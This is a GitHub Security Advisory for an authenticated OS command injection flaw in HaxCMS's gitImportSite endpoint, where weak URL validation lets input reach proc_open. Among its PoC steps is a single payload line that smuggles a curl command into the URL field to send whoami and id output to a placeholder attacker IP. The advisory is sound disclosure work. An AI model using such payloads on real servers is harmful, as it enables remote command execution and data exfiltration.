Loading HuntDB...

GHSA-g4cf-pp4x-hqgw

GitHub Security Advisory

HaxCMS-PHP Command Injection Vulnerability

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Summary
The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

### Details
The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)

#### Affected Resources
• Operations.php:2103 gitImportSite()
• \<domain\>/\<user\>/system/api/gitImportSite

### PoC
To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

1. Start a webserver.
![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)

2. Initiate a request to the ’archiveSite’ endpoint.
![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)

3. Capture and modify the request in BurpSuite.
![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)

4. Observe command output in the HTTP request from the server.
![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)

#### Command Injection Payload
```Bash
http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef
```

### Impact
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Affected Packages

npm @haxtheweb/haxcms-nodejs
Affected versions: 0 (fixed in 11.0.3)

Related CVEs

Key Information

GHSA ID
GHSA-g4cf-pp4x-hqgw
Published
June 9, 2025 8:30 PM
Last Modified
June 9, 2025 9:44 PM
CVSS Score
7.5 /10
Primary Ecosystem
npm
Primary Package
@haxtheweb/haxcms-nodejs
GitHub Reviewed
✓ Yes

Dataset

Last updated: June 18, 2025 6:25 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.